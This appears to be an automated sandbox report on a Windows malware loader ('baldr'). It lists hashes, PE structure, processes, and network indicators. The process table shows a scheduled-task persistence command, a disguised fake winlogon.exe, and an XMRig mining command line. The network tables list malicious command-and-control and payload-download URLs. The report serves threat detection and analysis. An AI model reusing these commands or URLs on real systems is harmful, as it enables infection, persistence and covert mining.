| File name: | baldr.exe.exe |
| Full analysis: | https://app.any.run/tasks/e084330c-014c-45cc-9493-e6b7bc55055e |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | May 15, 2019, 16:02:56 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 686FE941E07755291F3C26541458F7AC |
| SHA1: | 06514BDEB621F28D76B682956535881507266EA0 |
| SHA256: | 16AF148D23226E31FBE10D229D841AD11CE24351291197E92347F5419A8F8F34 |
| SSDEEP: | 24576:F/AGzdqnTxitt5sBsGoAkbZ95oJjXBDRhiY:F/3zdq9ssB9kbZDYXBb |
MALICIOUS
Connects to CnC server
- baldr.exe.exe (PID: 1812)
- winlogon.exe (PID: 880)
- winlogon.exe (PID: 3324)
Uses Task Scheduler to run other applications
- baldr.exe.exe (PID: 1812)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 2648)
Downloads executable files from the Internet
- winlogon.exe (PID: 880)
Application was dropped or rewritten from another process
- {5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe (PID: 296)
Downloads executable files from IP
- winlogon.exe (PID: 880)
SUSPICIOUS
Connects to server without host name
- baldr.exe.exe (PID: 1812)
- winlogon.exe (PID: 880)
- winlogon.exe (PID: 3324)
Creates files in the program directory
- baldr.exe.exe (PID: 1812)
Starts CMD.EXE for commands execution
- baldr.exe.exe (PID: 1812)
- winlogon.exe (PID: 880)
Executable content was dropped or overwritten
- baldr.exe.exe (PID: 1812)
- winlogon.exe (PID: 880)
Uses ATTRIB.EXE to modify file attributes
- winlogon.exe (PID: 880)
INFO
Drop XMRig executable file
- winlogon.exe (PID: 880)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (67.4) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.2) |
| .exe | | | Win32 Executable (generic) (9.7) |
| .exe | | | Generic Win/DOS Executable (4.3) |
| .exe | | | DOS Executable Generic (4.3) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2018:10:16 15:01:16+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 9 |
| CodeSize: | 710144 |
| InitializedDataSize: | 5202944 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x747ed |
| OSVersion: | 5 |
| ImageVersion: | - |
| SubsystemVersion: | 5 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 16-Oct-2018 13:01:16 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000D8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 6 |
| Time date stamp: | 16-Oct-2018 13:01:16 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x000AD41D | 0x000AD600 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.12951 |
.rdata | 0x000AF000 | 0x0000835F | 0x00008400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.685 |
.data | 0x000B8000 | 0x004DD670 | 0x00004200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.5898 |
.idata | 0x00596000 | 0x00001E8D | 0x00001400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.66882 |
.rsrc | 0x00598000 | 0x00009480 | 0x00009600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.22789 |
.reloc | 0x005A2000 | 0x00005C1E | 0x00005E00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 2.87477 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.39021 | 3752 | UNKNOWN | UNKNOWN | RT_ICON |
2 | 5.15094 | 2216 | UNKNOWN | UNKNOWN | RT_ICON |
3 | 4.99606 | 1736 | UNKNOWN | UNKNOWN | RT_ICON |
4 | 4.57499 | 1384 | UNKNOWN | UNKNOWN | RT_ICON |
5 | 3.55127 | 9640 | UNKNOWN | UNKNOWN | RT_ICON |
6 | 3.97867 | 4264 | UNKNOWN | UNKNOWN | RT_ICON |
7 | 4.04076 | 2440 | UNKNOWN | UNKNOWN | RT_ICON |
8 | 4.11885 | 1128 | UNKNOWN | UNKNOWN | RT_ICON |
11 | 3.27705 | 1662 | UNKNOWN | UNKNOWN | RT_STRING |
111 | 2.85812 | 118 | UNKNOWN | UNKNOWN | RT_GROUP_ICON |
Imports
ADVAPI32.dll |
GDI32.dll |
KERNEL32.dll |
Total processes
43
Monitored processes
8
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 296 | C:\Users\admin\AppData\Local\Temp\\{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe | C:\Users\admin\AppData\Local\Temp\{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 880 | C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe | C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1812 | "C:\Users\admin\Desktop\baldr.exe.exe" | C:\Users\admin\Desktop\baldr.exe.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2104 | "C:\Windows\System32\cmd.exe" /c start C:\Users\admin\AppData\Local\Temp\\{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe | C:\Windows\System32\cmd.exe | — | winlogon.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2648 | "C:\Windows\System32\schtasks.exe" /create /tn "Scheduled Updater - {90059c37-1320-41a4-b58d-2b75a9850d2f}" /f /sc minute /tr "C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe" | C:\Windows\System32\schtasks.exe | — | baldr.exe.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3264 | "C:\Windows\System32\cmd.exe" /c start C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe | C:\Windows\System32\cmd.exe | — | baldr.exe.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3324 | C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe | C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe | taskeng.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3644 | a -o dido.website:88 -u CPU -p x --donate-level 0 --max-cpu-usage 50 | C:\Windows\system32\attrib.exe | — | winlogon.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Attribute Utility Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
258
Read events
204
Write events
54
Delete events
0
Modification events
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1812) baldr.exe.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
4
Suspicious files
1
Text files
11
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 880 | winlogon.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\blacklist[1].txt | — | |
MD5:— | SHA256:— | |||
| 880 | winlogon.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\task[1].txt | text | |
MD5:— | SHA256:— | |||
| 880 | winlogon.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\suicide[1].txt | text | |
MD5:— | SHA256:— | |||
| 1812 | baldr.exe.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\config[1].txt | text | |
MD5:— | SHA256:— | |||
| 880 | winlogon.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\config[1].txt | text | |
MD5:— | SHA256:— | |||
| 1812 | baldr.exe.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\msgbox[1].txt | text | |
MD5:— | SHA256:— | |||
| 1812 | baldr.exe.exe | C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe | executable | |
MD5:— | SHA256:— | |||
| 880 | winlogon.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\reconnecttime[1].txt | text | |
MD5:— | SHA256:— | |||
| 880 | winlogon.exe | C:\Users\admin\AppData\Local\Temp\{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe | executable | |
MD5:— | SHA256:— | |||
| 880 | winlogon.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\cpu[1].txt | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
21
TCP/UDP connections
12
DNS requests
0
Threats
65
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
880 | winlogon.exe | GET | 200 | 95.81.0.83:80 | http://95.81.0.83/baldr/1baldr.exe | UA | executable | 765 Kb | malicious |
296 | {5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe | GET | — | 95.81.0.83:80 | http://95.81.0.83/gate.php | UA | — | — | malicious |
1812 | baldr.exe.exe | POST | 200 | 51.255.203.164:80 | http://51.255.203.164/bundles/sensiodistribution/webconfigurator/bild.exe | FR | — | — | malicious |
880 | winlogon.exe | POST | 200 | 51.255.203.164:80 | http://51.255.203.164/bundles/sensiodistribution/webconfigurator/bild.exe | FR | — | — | malicious |
880 | winlogon.exe | POST | 200 | 95.81.1.51:80 | http://95.81.1.51/suicide | UA | text | 9 b | malicious |
880 | winlogon.exe | POST | 200 | 95.81.1.51:80 | http://95.81.1.51/cpu | UA | text | 151 b | malicious |
880 | winlogon.exe | POST | 200 | 31.204.154.75:80 | http://31.204.154.75/chrome.exe | NL | executable | 5.65 Mb | suspicious |
1812 | baldr.exe.exe | POST | 200 | 95.81.1.51:80 | http://95.81.1.51/config | UA | text | 4 b | malicious |
1812 | baldr.exe.exe | POST | 200 | 95.81.1.51:80 | http://95.81.1.51/suicide | UA | text | 9 b | malicious |
880 | winlogon.exe | POST | 200 | 95.81.1.51:80 | http://95.81.1.51/config | UA | text | 4 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1812 | baldr.exe.exe | 95.81.1.51:80 | — | — | UA | malicious |
1812 | baldr.exe.exe | 51.255.203.164:80 | — | OVH SAS | FR | malicious |
3324 | winlogon.exe | 95.81.1.51:80 | — | — | UA | malicious |
880 | winlogon.exe | 51.255.203.164:80 | — | OVH SAS | FR | malicious |
880 | winlogon.exe | 95.81.1.51:80 | — | — | UA | malicious |
880 | winlogon.exe | 31.204.154.75:80 | — | i3D.net B.V | NL | suspicious |
880 | winlogon.exe | 95.81.0.83:80 | — | — | UA | malicious |
296 | {5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe | 95.81.0.83:80 | — | — | UA | malicious |
3324 | winlogon.exe | 51.255.203.164:80 | — | OVH SAS | FR | malicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
1812 | baldr.exe.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
1812 | baldr.exe.exe | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary |
1812 | baldr.exe.exe | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary |
1812 | baldr.exe.exe | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary |
1812 | baldr.exe.exe | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary |
880 | winlogon.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
880 | winlogon.exe | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary |
880 | winlogon.exe | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary |
880 | winlogon.exe | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary |
880 | winlogon.exe | A Network Trojan was detected | ET TROJAN Megumin v2 Stealer User-Agent |
32 ETPRO signatures available at the full report